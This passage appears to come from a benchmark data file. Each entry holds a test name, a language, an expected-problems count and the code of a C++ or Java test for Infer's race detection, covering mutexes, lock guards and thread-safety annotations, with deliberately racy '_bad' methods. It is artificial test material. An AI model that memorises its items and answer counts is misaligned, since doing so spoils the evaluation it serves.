}\n\n private:\n void pointer_deref(int* v1) { (*v1)++; } // HIL: *(v1) := *(v1) + 1\n\n void pointer_arith(int* v2) { v2++; } // HIL: v2 := v2 + 1\n\n void value(int v3) { v3++; } // HIL: v3 := v3 + 1\n\n void field(int& f) { f++; } // HIL: *(f) := *(f) + 1\n\n void deref_w(X& xparam) {\n xparam.x1->w++; // HIL: xparam->x1->w := xparam->x1->w + 1\n }\n\n void deref_u(X& xparam) {\n (*xparam.x1).u++; // HIL: xparam->x1->u := xparam->x1->u + 1\n }\n\n void deref_abc(X& xparam) {\n (**xparam.x2).a.b.c++; // HIL:*(xparam->x2)->a.b.c:= *(xparam->x2)->a.b.c+1\n }\n\n int g;\n int h;\n int p;\n int q;\n X x;\n std::mutex mutex_;\n};\n} // namespace dereferencing\n" - }, - { - "testname": "lambdas.cpp", - "testlanguage": "c++", - "expected-problems": 9, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nclass Lambdas {\n public:\n void race_in_lambda_even_without_call_ok() {\n auto lambda_with_sync = [&]() {\n mutex_.lock();\n f = 0;\n mutex_.unlock();\n return f;\n };\n }\n\n // access propagation to callees does not currently work\n int FN_race_in_lambda_bad() {\n auto lambda_with_sync = [&]() { return g; };\n\n return lambda_with_sync();\n }\n\n void set_under_lock(int value) {\n mutex_.lock();\n g = value;\n mutex_.unlock();\n }\n\n private:\n int f;\n int g;\n std::mutex mutex_;\n};\n" - }, - { - "testname": "locals_char_array.cpp", - "testlanguage": "c++", - "expected-problems": 5, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nnamespace locals_char_array {\n\nvoid f() {\n char line[1024];\n int x;\n line[0] = line[1];\n x = 0;\n}\n\nstruct A {\n void locals_ok(int b) {\n if (b) {\n f();\n } else {\n mutex_.lock();\n f();\n mutex_.unlock();\n }\n }\n\n std::mutex mutex_;\n};\n\n} // namespace locals_char_array\n" - }, - { - "testname": "locals_ownership.cpp", - "testlanguage": "c++", - "expected-problems": 10, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nnamespace locals {\n\nstruct X {\n int f;\n};\n\nclass Ownership {\n public:\n Ownership() {}\n\n int struct_ok() {\n X x;\n mutex_.lock();\n x.f = 7;\n mutex_.unlock();\n return x.f;\n }\n\n int ptr_to_struct_ok() {\n X* x = new X();\n mutex_.lock();\n x->f = 7;\n mutex_.unlock();\n return x->f;\n }\n\n int copy_constructor_ok() {\n X x = current; // copy constructor\n mutex_.lock();\n x.f = 7;\n mutex_.unlock();\n return x.f;\n }\n\n int FN_ptr_to_field_struct_bad() {\n X* x = ¤t;\n mutex_.lock();\n x->f = 7;\n mutex_.unlock();\n return x->f;\n }\n\n int copy_formal_ok(X xformal) {\n X x = xformal; // copy constructor\n mutex_.lock();\n x.f = 7;\n mutex_.unlock();\n return x.f;\n }\n\n int FN_ptr_to_formal_bad(X* xformal) {\n X* x = xformal;\n mutex_.lock();\n x->f = 7;\n mutex_.unlock();\n return x->f;\n }\n\n private:\n X current;\n std::mutex mutex_;\n};\n} // namespace locals\n" - }, - { - "testname": "lock_guard_with_scope.cpp", - "testlanguage": "c++", - "expected-problems": 19, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nnamespace basics {\n\nclass LockGuardWithScope {\n public:\n LockGuardWithScope() {}\n\n void not_guarded_ok(int b, int new_value) {\n if (b) {\n not_guarded = new_value;\n } else {\n return not_guarded;\n }\n }\n\n void well_guarded_ok(int b, int new_value) {\n std::lock_guard lock(mutex_);\n if (b) {\n well_guarded = new_value;\n } else {\n return well_guarded;\n }\n }\n\n void suspiciously_read_bad(int b, int new_value) {\n if (b) {\n std::lock_guard lock(mutex_);\n suspiciously_read = new_value;\n } else {\n return suspiciously_read;\n }\n }\n\n void suspiciously_written_ok(int b, int new_value) {\n if (b) {\n suspiciously_written = new_value;\n } else {\n std::lock_guard lock(mutex_);\n return suspiciously_written;\n }\n }\n\n private:\n int well_guarded;\n int suspiciously_read;\n int suspiciously_written;\n int not_guarded;\n std::mutex mutex_;\n};\n} // namespace basics\n" - }, - { - "testname": "noreturn.cpp", - "testlanguage": "c++", - "expected-problems": 15, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nclass Noreturn {\n public:\n Noreturn() {}\n\n int get_x_without_lock() { return x; }\n\n void write_not_under_lock() {\n { std::unique_lock g(mutex_); }\n x = 0;\n }\n\n [[noreturn]] void never_returns();\n\n void indirectly_never_returns() { never_returns(); }\n\n void may_not_return(bool b) {\n if (b)\n never_returns();\n }\n\n void never_returns_under_lock() {\n std::unique_lock g(mutex_);\n never_returns();\n }\n\n void write_after_never_returns_under_lock() {\n never_returns_under_lock();\n x = 0;\n }\n\n void write_after_indirect_never_returns_under_lock() {\n std::unique_lock g(mutex_);\n indirectly_never_returns();\n x = 0;\n }\n\n int get_y_without_lock() { return y; }\n\n void write_after_call_to_may_never_return_under_lock_bad(bool b) {\n std::unique_lock g(mutex_);\n may_not_return(b);\n y = 0;\n }\n\n private:\n int x;\n int y;\n std::mutex mutex_;\n};\n" - }, - { - "testname": "scoped_lock.cpp", - "testlanguage": "c++", - "expected-problems": 13, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nclass ScopedLock {\n public:\n ScopedLock() {}\n\n void store_x(int xx) {\n std::scoped_lock g(mutex_);\n x = xx;\n }\n\n int get_x() {\n std::scoped_lock g(mutex_);\n return x;\n }\n\n void store_y(int yy) {\n std::scoped_lock g(mutex_);\n y = yy;\n }\n\n int get_y_bad() { return y; }\n\n void store_z(int zz) { z = zz; }\n\n int get_z() {\n std::scoped_lock g(mutex_);\n return z;\n }\n\n private:\n int x, y, z;\n std::mutex mutex_;\n};\n" - }, - { - "testname": "std_lock.cpp", - "testlanguage": "c++", - "expected-problems": 9, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nnamespace basics {\n\nclass StdLock {\n public:\n StdLock() {}\n\n void set_ok(StdLock* other) {\n std::lock(mutex_, other->mutex_);\n guarded = other->guarded;\n }\n\n int get_ok() {\n mutex_.lock();\n return guarded;\n }\n\n void set_bad(StdLock* other) {\n std::lock(mutex_, other->mutex_);\n not_guarded = other->not_guarded;\n }\n\n int get_bad() { return not_guarded; }\n\n private:\n int guarded;\n int not_guarded;\n std::mutex mutex_;\n};\n} // namespace basics\n" - }, - { - "testname": "unique_lock.cpp", - "testlanguage": "c++", - "expected-problems": 35, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nnamespace basics {\n\nclass UniqueLock {\n public:\n UniqueLock() {}\n\n int well_guarded1_ok(int b, int new_value) {\n if (b) {\n std::unique_lock g(mutex_);\n well_guarded1 = new_value;\n return 0;\n } else {\n std::lock_guard lock(mutex_);\n return well_guarded1;\n }\n }\n\n int well_guarded2_deferred_ok(int b, int new_value) {\n if (b) {\n std::unique_lock g(mutex_, std::defer_lock);\n g.lock();\n well_guarded2 = new_value;\n g.unlock();\n return 0;\n } else {\n std::unique_lock g(mutex_);\n return well_guarded2;\n }\n }\n\n int not_guarded1_ok(int b, int new_value) {\n if (b) {\n not_guarded1 = new_value;\n return 0;\n } else {\n return not_guarded1;\n }\n }\n\n int not_guarded2_ok(int b, int new_value) {\n if (b) {\n std::unique_lock g(mutex_);\n g.unlock();\n not_guarded2 = new_value;\n return 0;\n } else {\n std::unique_lock g(mutex_);\n g.unlock();\n return not_guarded2;\n }\n }\n\n int suspiciously_read1_bad(int b, int new_value) {\n if (b) {\n std::unique_lock g(mutex_);\n suspiciously_read1 = new_value;\n return 0;\n } else {\n return suspiciously_read1;\n }\n }\n\n int suspiciously_written_ok(int b, int new_value) {\n if (b) {\n suspiciously_written = new_value;\n return 0;\n } else {\n std::unique_lock g(mutex_);\n return suspiciously_written;\n }\n }\n\n int suspiciously_read2_trylock_bad(int b, int new_value) {\n if (b) {\n std::unique_lock g(mutex_);\n suspiciously_read2 = new_value;\n return 0;\n } else {\n std::unique_lock lock(mutex_, std::try_to_lock);\n if (lock.owns_lock()) {\n return 0;\n } else {\n return suspiciously_read2;\n }\n }\n }\n\n int suspiciously_read3_deferlock_bad(int b, int new_value) {\n if (b) {\n std::unique_lock g(mutex_);\n suspiciously_read3 = new_value;\n return 0;\n } else {\n std::unique_lock lock(mutex_, std::defer_lock);\n if (lock.try_lock()) {\n return 0;\n } else {\n return suspiciously_read3;\n }\n }\n }\n\n private:\n int well_guarded1;\n int well_guarded2;\n int suspiciously_read1;\n int suspiciously_read2;\n int suspiciously_read3;\n int suspiciously_written;\n int not_guarded1;\n int not_guarded2;\n std::mutex mutex_;\n};\n} // namespace basics\n" - }, - { - "testname": "without_mutex.cpp", - "testlanguage": "c++", - "expected-problems": 7, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nnamespace without_mutex {\n\nclass WithoutMutex {\n public:\n WithoutMutex() {}\n\n int get_bad() { return field; }\n\n int set_bad(std::mutex& mutex, int data) {\n std::lock_guard lock(mutex);\n field = data;\n }\n\n private:\n int field;\n};\n} // namespace without_mutex\n" - }, - { - "testname": "AbstractOwnership.java", - "testlanguage": "java", - "expected-problems": 13, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.checkers;\n\nimport com.facebook.infer.annotation.ReturnsOwnership;\nimport javax.annotation.concurrent.ThreadSafe;\n\n// no races should be reported here\n// abstract getThis should get a default summary returning conditional ownership\n\n@ThreadSafe\nabstract class Component {\n abstract static class Builder> {\n abstract T getThis();\n\n private int i;\n\n public T set(int i) {\n this.i = i;\n return getThis();\n }\n\n public T background() {\n return getThis();\n }\n\n @ReturnsOwnership\n abstract Component build();\n }\n}\n\n@ThreadSafe\nclass Column extends Component {\n static Component onCreateLayoutOk() {\n Component.Builder builder = ColumnBuilder.create().background();\n return builder.set(0).build();\n }\n\n static class ColumnBuilder extends Component.Builder {\n static ColumnBuilder create() {\n return new ColumnBuilder();\n }\n\n @Override\n ColumnBuilder getThis() {\n return this;\n }\n\n @Override\n Column build() {\n return new Column();\n }\n }\n}\n" - }, - { - "testname": "Alias.java", - "testlanguage": "java", - "expected-problems": 9, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport javax.annotation.concurrent.ThreadSafe;\n\n@ThreadSafe\nclass Alias {\n A a, b;\n\n public void foo() {\n int x;\n synchronized (this) {\n a = b;\n a.f = 101;\n }\n x = b.f; // may_alias\n }\n\n public void bar(A a, A b) {\n int x;\n synchronized (this) {\n a.f = 101;\n }\n x = b.f; // no may_alias needed, argument treatment suffices\n }\n}\n\nclass A {\n int f = 0;\n}\n" - }, - { - "testname": "AndroidModels.java", - "testlanguage": "java", - "expected-problems": 19, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.checkers;\n\nimport android.app.Activity;\nimport android.content.Context;\nimport android.content.res.AssetManager;\nimport android.content.res.Configuration;\nimport android.content.res.Resources;\nimport android.os.IBinder;\nimport android.os.IInterface;\nimport android.util.DisplayMetrics;\nimport android.view.View;\nimport javax.annotation.concurrent.ThreadSafe;\n\n// aidl generated classes implementing this interface are automatically threadsafe\ninterface AidlInterface extends IInterface {}\n\nclass MyActivity extends Activity {}\n\nclass MyResources extends Resources {\n\n public MyResources(AssetManager assets, DisplayMetrics metrics, Configuration config) {\n super(assets, metrics, config);\n }\n}\n\nclass MyView extends View {\n\n boolean mField;\n\n public MyView(Context c) {\n super(c);\n }\n}\n\n@ThreadSafe\npublic class AndroidModels {\n\n Resources mResources;\n MyResources mMyResources;\n\n Object mField;\n\n // assume that some Resources methods are annotated with @Functional\n public void resourceMethodFunctionalOk() {\n mField = mResources.getString(0);\n }\n\n // and subclasses of Resources too\n public void customResourceMethodFunctionalOk() {\n mField = mResources.getString(0);\n }\n\n // but not all of them\n public void someResourceMethodsNotFunctionalBad() {\n // configuration can change whenever the device rotates\n mField = mResources.getConfiguration();\n }\n\n public void findViewByIdOk1(MyView view) {\n MyView subview = (MyView) view.findViewById(-1);\n subview.mField = true; // ok;\n }\n\n public void findViewByIdOk2(MyActivity activity) {\n MyView view = (MyView) activity.findViewById(-1);\n view.mField = true; // ok;\n }\n\n public IBinder safeByDefaultInterfaceCallOk(AidlInterface i) {\n return i.asBinder();\n }\n}\n" - }, - { - "testname": "Annotations.java", - "testlanguage": "java", - "expected-problems": 124, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.checkers;\n\nimport android.support.annotation.UiThread;\nimport com.facebook.infer.annotation.Functional;\nimport com.facebook.infer.annotation.Initializer;\nimport com.facebook.infer.annotation.ReturnsOwnership;\nimport com.facebook.infer.annotation.SynchronizedCollection;\nimport com.facebook.infer.annotation.ThreadConfined;\nimport com.facebook.infer.annotation.ThreadSafe;\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/** tests for classes and method annotations that are meaningful w.r.t thread-safety */\n@Target(ElementType.METHOD)\n@Retention(RetentionPolicy.CLASS)\n@interface OnBind {}\n\n@Target(ElementType.METHOD)\n@Retention(RetentionPolicy.CLASS)\n@interface OnEvent {}\n\n@Target(ElementType.METHOD)\n@Retention(RetentionPolicy.CLASS)\n@interface OnMount {}\n\n@Target(ElementType.METHOD)\n@Retention(RetentionPolicy.CLASS)\n@interface OnUnbind {}\n\n@Target(ElementType.METHOD)\n@Retention(RetentionPolicy.CLASS)\n@interface OnUnmount {}\n\n@Target(ElementType.METHOD)\n@Retention(RetentionPolicy.CLASS)\n@interface MyThreadSafeAlias1 {}\n\n@Target(ElementType.METHOD)\n@Retention(RetentionPolicy.CLASS)\n@interface MyThreadSafeAlias2 {}\n\n@Target(ElementType.PARAMETER)\n@Retention(RetentionPolicy.CLASS)\n@interface InjectProp {}\n\ninterface Interface {\n\n @Functional\n Object functionalMethod();\n\n @ReturnsOwnership\n Obj returnsOwnershipMethod();\n}\n\n@ThreadSafe(enableChecks = false)\nclass AssumedThreadSafe {\n\n Object field;\n\n public void writeOk() {\n this.field = new Object();\n }\n}\n\n// this annotation is defined as an alias for @ThreadSafe in .inferconfig\nclass ThreadSafeAlias {\n Object field;\n\n @MyThreadSafeAlias1\n void threadSafeAliasBad1() {\n this.field = new Object();\n }\n\n @MyThreadSafeAlias2\n void threadSafeAliasBad2() {\n this.field = new Object();\n }\n}\n\n@ThreadSafe\nclass Annotations implements Interface {\n Object f;\n boolean b;\n\n @UiThread\n public void setF(Object newF) {\n this.f = newF; // shouldn't report here\n }\n\n public void callSetFOnMethodOk(Annotations obj) {\n obj.setF(new Object()); // or here\n }\n\n public void mutateOffUiThreadBad() {\n this.f = new Object();\n }\n\n // anything annotated with OnEvent is modeled as running on the UI thread, should not warn\n @OnEvent\n public void onClick() {\n this.f = new Object();\n }\n\n Confined con;\n\n public void confinedCallerOk() {\n con.foo();\n }\n\n public void writeFieldOfConfinedClassOk() {\n con.x = 7;\n }\n\n @ThreadConfined(ThreadConfined.UI)\n class Confined {\n Integer x;\n\n void foo() {\n x = 22;\n }\n }\n\n @ThreadConfined(ThreadConfined.ANY)\n Obj encapsulatedField;\n\n public void mutateConfinedFieldDirectlyOk() {\n this.encapsulatedField = new Obj();\n }\n\n public static void mutateConfinedFieldIndirectlyOk(Annotations a) {\n a.encapsulatedField = new Obj();\n }\n\n public void mutateSubfieldOfConfinedBad() {\n this.encapsulatedField.f = new Object();\n }\n\n Integer zz;\n\n @ThreadConfined(\"some_custom_string\")\n public void threadConfinedMethodOk() {\n this.f = new Object();\n zz = 22;\n }\n\n public void read_from_non_confined_method_Bad() {\n Integer i;\n i = zz;\n }\n\n /* Like in RaceWithMainThread.java with assertMainThread() */\n void conditional1_ok(boolean b) {\n if (b) {\n write_on_main_thread_ok();\n }\n }\n\n Integer ii;\n\n @ThreadConfined(ThreadConfined.UI)\n void write_on_main_thread_ok() {\n ii = 22;\n }\n\n void conditional2_bad(boolean b) {\n if (b) {\n write_on_main_thread_ok();\n } else {\n ii = 99; // this might or might not run on the main thread; warn\n }\n }\n\n @OnBind\n public void onBindMethodOk() {\n this.f = new Object();\n }\n\n public void read_off_UI_thread_Bad() {\n Object o = f;\n }\n\n @OnMount\n public void onMountMethodOk() {\n this.f = new Object();\n }\n\n @OnUnmount\n public void onUnmountMethodOk() {\n this.f = new Object();\n }\n\n @OnUnbind\n public void onUnbindMethodOk() {\n this.f = new Object();\n }\n\n @ThreadSafe(enableChecks = false)\n public void assumeThreadSafeOk() {\n this.f = new Object();\n }\n\n @Functional\n native Object returnFunctional1();\n\n @Functional\n Object returnFunctional2() {\n return null;\n }\n // marked @Functional in interface\n @Override\n public Object functionalMethod() {\n return null;\n }\n\n Object mAssignToFunctional;\n\n public Object functionalOk1() {\n if (mAssignToFunctional == null) {\n mAssignToFunctional = returnFunctional1();\n }\n return mAssignToFunctional;\n }\n\n public Object functionalOk2() {\n if (mAssignToFunctional == null) {\n mAssignToFunctional = returnFunctional2();\n }\n return mAssignToFunctional;\n }\n\n public Object functionalOk3() {\n if (mAssignToFunctional == null) {\n mAssignToFunctional = functionalMethod();\n }\n return mAssignToFunctional;\n }\n\n @Functional\n native double returnDouble();\n\n @Functional\n native long returnLong();\n\n double mDouble;\n long mLong;\n\n int mInt1;\n int mInt2;\n\n public int functionalAcrossUnboxingAndCast1Ok() {\n if (b) {\n mInt1 = (int) returnDouble();\n }\n return 0;\n }\n\n public int functionalAcrossUnboxingAndCast2Ok() {\n if (b) {\n mInt2 = (int) returnLong();\n }\n return 0;\n }\n\n // writes to doubles are not atomic on all platforms, so this is not a benign race\n public double functionalDoubleBad() {\n if (b) {\n mDouble = returnDouble();\n }\n return 0.0;\n }\n\n // writes to longs are not atomic on all platforms, so this is not a benign race\n public long functionaLongBad() {\n if (b) {\n mLong = returnLong();\n }\n return 2;\n }\n\n Boolean mBoxedBool;\n\n @Functional\n native boolean returnBool();\n\n public boolean functionalAcrossBoxingOk() {\n if (b) {\n mBoxedBool = returnBool();\n }\n return b;\n }\n\n boolean mBool;\n\n @Functional\n native Boolean returnBoxedBool();\n\n boolean mBool2;\n\n public boolean FP_functionalAcrossUnboxingOk() {\n if (b) {\n mBool2 = returnBoxedBool();\n }\n return b;\n }\n\n Long mBoxedLong;\n\n @Functional\n native Long returnBoxedLong();\n\n public int functionalBoxedLongOk() {\n if (b) {\n mBoxedLong = returnBoxedLong();\n }\n return 22;\n }\n\n long mLong2;\n\n public int functionalAcrossUnboxingLongBad() {\n if (b) {\n mLong2 = returnBoxedLong();\n }\n return 2;\n }\n\n long mBoxedLong2;\n\n public int FP_functionalAcrossBoxingLongOk() {\n if (b) {\n mBoxedLong2 = returnLong();\n }\n return 2;\n }\n\n public boolean propagateFunctional() {\n return returnBool();\n }\n\n // show that we can handle indirect returns of procedures marked @Functional\n public void propagateFunctionalOk() {\n boolean returnedFunctional = propagateFunctional();\n mBool = returnedFunctional;\n }\n\n @Functional\n native int returnInt();\n\n int mInt;\n\n public void functionalAcrossLogicalOpsOk() {\n boolean functionalBool = returnBool();\n int functionalInt = returnInt();\n boolean propagated = functionalBool && true || 2 < returnInt() && 3 == functionalInt;\n mBool = propagated;\n }\n\n public void functionalAcrossArithmeticOpsOk() {\n int functional = returnInt();\n int propagated = functional + 1 - returnInt() * 7 % 2;\n mInt = functional;\n }\n\n native int returnNonFunctionalInt();\n\n public void functionalAndNonfunctionalBad() {\n mInt = returnNonFunctionalInt() + returnInt();\n }\n\n @ReturnsOwnership\n native Obj returnsOwned();\n\n @Override\n public native Obj returnsOwnershipMethod(); // marked @ReturnsOwnership in interface\n\n void mutateAnnotatedOwnedOk() {\n Obj owned = returnsOwned();\n owned.f = new Object();\n }\n\n void mutateAnnotatedOverrideOwnedOk() {\n Obj owned = returnsOwnershipMethod();\n owned.f = new Object();\n }\n\n public void writeToAssumedThreadSafeClassOk(AssumedThreadSafe c) {\n c.writeOk();\n }\n\n @SynchronizedCollection\n private final Map mSynchronizedMap = Collections.synchronizedMap(new HashMap());\n\n public void synchronizedMapOk1() {\n mSynchronizedMap.put(new Object(), new Object());\n }\n\n public void synchronizedMapOk2(Annotations a) {\n a.mSynchronizedMap.put(new Object(), new Object());\n }\n\n public void injectPropOk(@InjectProp Obj o) {\n o.f = 7;\n }\n\n Object onlyUpdatedInInitializer;\n\n @Initializer\n public void setOnlyUpdatedInInitializerOk(Object o) {\n onlyUpdatedInInitializer = o;\n }\n\n public synchronized Object getOnlyUpdatedInInitializerOk() {\n return onlyUpdatedInInitializer;\n }\n}\n\n@UiThread\n@ThreadSafe\nclass AllMethodsOnUiThread {\n int f;\n\n void fooOk() {\n f = 5;\n }\n\n int bar() {\n return f;\n }\n}\n\nclass ExtendsClassOnUiThread extends AllMethodsOnUiThread {\n @Override\n void fooOk() {\n f = 9;\n }\n\n @Override\n int bar() {\n return super.bar();\n }\n}\n\n// NOT All annotations that start with \"On\" are on the main thread\n@Target(ElementType.METHOD)\n@Retention(RetentionPolicy.CLASS)\n@interface OnXYZ {}\n\n@ThreadSafe\nclass WeirdAnnotation {\n int f;\n\n @OnXYZ\n void fooBad() {\n f = 0;\n }\n}\n" - }, - { - "testname": "Arrays.java", - "testlanguage": "java", - "expected-problems": 15, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport javax.annotation.concurrent.ThreadSafe;\n\n// Test may_alias treatment of arrays\n// two arrays of types in a subtype relation may alias, and race\n\n@ThreadSafe\nclass Parent {}\n\n@ThreadSafe\nclass Child extends Parent {}\n\n@ThreadSafe\nclass Arrays {\n Child[] childArr = new Child[5];\n Parent[] parentArr = childArr; // actual aliasing not required, but for documentation\n final String[] strArr1 = new String[5];\n final String[] strArr2 = new String[5];\n\n void arrayParameterWriteBad(int[] name1) {\n name1[2] = 4;\n }\n\n // although name1 and name2 may alias, we have no reason to think that they will. don't report\n int FN_arrayParameterReadBad(int[] name2) {\n return name2[2];\n }\n\n int arrayParameterLiteralReadOk() {\n return (new int[] {2, 3})[1];\n }\n\n public void writeWriteRaceBad(String s) {\n strArr1[2] = s;\n }\n\n // same array\n public String readWriteRaceBad(String s) {\n synchronized (this) {\n strArr1[2] = s;\n }\n return strArr1[2];\n }\n\n // arrays are same type, but can't alias\n public String notReadWriteRace1Ok(String s) {\n synchronized (this) {\n strArr1[0] = s;\n }\n return strArr2[0];\n }\n\n // arrays are compatible types and can alias\n public Child FN_readWriteAliasRaceBad() {\n synchronized (this) {\n parentArr[3] = null;\n }\n return childArr[3];\n }\n\n String[] type1Arr[];\n Parent[] type2Arr;\n\n // arrays are different types and thus cannot alias\n public Parent noRaceOk() {\n synchronized (this) {\n type1Arr[3] = null;\n }\n\n return type2Arr[3];\n }\n}\n" - }, - { - "testname": "Builders.java", - "testlanguage": "java", - "expected-problems": 31, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.checkers;\n\nimport com.facebook.infer.annotation.ThreadSafe;\nimport com.google.common.collect.ImmutableList;\nimport com.google.common.collect.ImmutableList.Builder;\n\npublic class Builders {\n\n static class Obj {\n final String f;\n String g;\n\n public Obj(String f, String g) {\n this.f = f;\n this.g = g;\n }\n\n public static class Builder {\n String f;\n String g;\n\n public Builder setFromObj(Obj input) {\n this.f = input.f;\n this.g = input.g;\n return this;\n }\n\n public Obj build() {\n return new Obj(f, g);\n }\n\n public Builder setF(String f) {\n this.f = f;\n return this;\n }\n\n public Builder setG(String g) {\n this.g = g;\n return this;\n }\n }\n }\n\n @ThreadSafe\n public void guavaBuilderOk() {\n ImmutableList.Builder builder = new ImmutableList.Builder();\n builder.add(\"foo\");\n builder.build();\n }\n\n @ThreadSafe\n public Obj customBuilderOk1() {\n Obj.Builder builder = new Obj.Builder();\n builder.setF(\"f\");\n builder.setG(\"g\");\n return builder.build();\n }\n\n @ThreadSafe\n public Obj customBuilderOk2() {\n Obj.Builder builder = new Obj.Builder();\n return builder.setF(\"f\").setG(\"g\").build();\n }\n\n @ThreadSafe\n public Obj customBuilderOk3() {\n Obj obj = new Obj(\"a\", \"b\");\n Obj.Builder builder = new Obj.Builder();\n return builder.setFromObj(obj).build();\n }\n\n @ThreadSafe\n public Obj mutateBad(Obj o) {\n o.g = \"\";\n return o;\n }\n\n @ThreadSafe\n public Obj buildThenMutateBad(Obj input) {\n Obj.Builder builder = new Obj.Builder();\n Obj output = builder.setFromObj(input).build();\n input.g = \"\";\n return output;\n }\n}\n\n@ThreadSafe\nclass TopLevelBuilder {\n public String g;\n\n public void setG(String g) {\n this.g = g; // still want to warn if the builder is annotated ThreadSafe\n }\n}\n\nclass MyBuilder {\n Obj mObj;\n\n public static MyBuilder create() {\n return new MyBuilder();\n }\n\n public MyBuilder setNestedPath(int i) {\n this.mObj.f = i;\n return this;\n }\n\n @ThreadSafe\n static void setNestedPathOk(int i) {\n MyBuilder.create().setNestedPath(1);\n }\n}\n" - }, - { - "testname": "Constructors.java", - "testlanguage": "java", - "expected-problems": 27, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport javax.annotation.concurrent.ThreadSafe;\n\n@ThreadSafe\npublic class Constructors {\n int field;\n static Object staticField;\n\n public Constructors(int i) {\n field = i; // ok\n }\n\n public Constructors() {\n staticField = new Object(); // not ok;\n }\n\n private Constructors(Object o) {\n staticField = o; // ok because this is private\n }\n\n public Constructors(Constructors o) {\n o.field = 42; // not ok\n }\n\n public Constructors(String s) {\n calledFromConstructorOk(); // ok\n }\n\n private void calledFromConstructorOk() {\n this.field = 7;\n }\n\n public static synchronized Constructors singleton1Ok() {\n // ok because lock is held during write to static field in constructor\n return new Constructors(new Object());\n }\n\n private static Constructors sSingleton1;\n\n public static Constructors FP_singleton2Ok() {\n synchronized (Constructors.class) {\n if (sSingleton1 != null) {\n sSingleton1 = new Constructors(0);\n }\n }\n return sSingleton1; // not currently smart enough to understand that this read is ok\n }\n\n public static Constructors singleton1Bad() {\n // not ok because no lock is held\n return new Constructors(new Object());\n }\n\n private static Constructors sSingleton2;\n\n public static Constructors singleton2Bad() {\n if (sSingleton2 == null) {\n sSingleton2 = new Constructors(0);\n }\n return sSingleton2;\n }\n}\n" - }, - { - "testname": "Containers.java", - "testlanguage": "java", - "expected-problems": 90, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.checkers;\n\nimport android.support.v4.util.Pools;\nimport android.support.v4.util.Pools.SimplePool;\nimport android.support.v4.util.Pools.SynchronizedPool;\nimport android.support.v4.util.SimpleArrayMap;\nimport android.support.v4.util.SparseArrayCompat;\nimport android.util.SparseArray;\nimport com.google.common.collect.Sets;\nimport java.security.InvalidKeyException;\nimport java.security.Key;\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.Hashtable;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ConcurrentLinkedDeque;\nimport java.util.concurrent.ConcurrentMap;\nimport java.util.concurrent.ConcurrentSkipListSet;\nimport java.util.concurrent.CopyOnWriteArrayList;\nimport javax.annotation.concurrent.ThreadSafe;\nimport javax.crypto.Mac;\n\nclass ContainerWrapper {\n private final List children = new ArrayList();\n\n public Object write(Object v) {\n return _write(v);\n }\n\n private Object _write(Object node) {\n children.add(node);\n return this;\n }\n}\n\n@ThreadSafe\nclass Containers {\n\n List mList;\n Map mMap;\n\n // lists\n void listAddBad1(String s) {\n mList.add(s);\n }\n\n void listAddBad2(int index, String s) {\n mList.add(index, s);\n }\n\n void listAddAllBad(Collection c) {\n mList.addAll(c);\n }\n\n void listClearBad() {\n mList.clear();\n }\n\n void listRemoveBad1(int index) {\n mList.remove(index);\n }\n\n void listRemoveBad2(String s) {\n mList.remove(s);\n }\n\n void listRemoveAllBad(Collection c) {\n mList.removeAll(c);\n }\n\n void listSetBad(int index, String s) {\n mList.set(index, s);\n }\n\n void 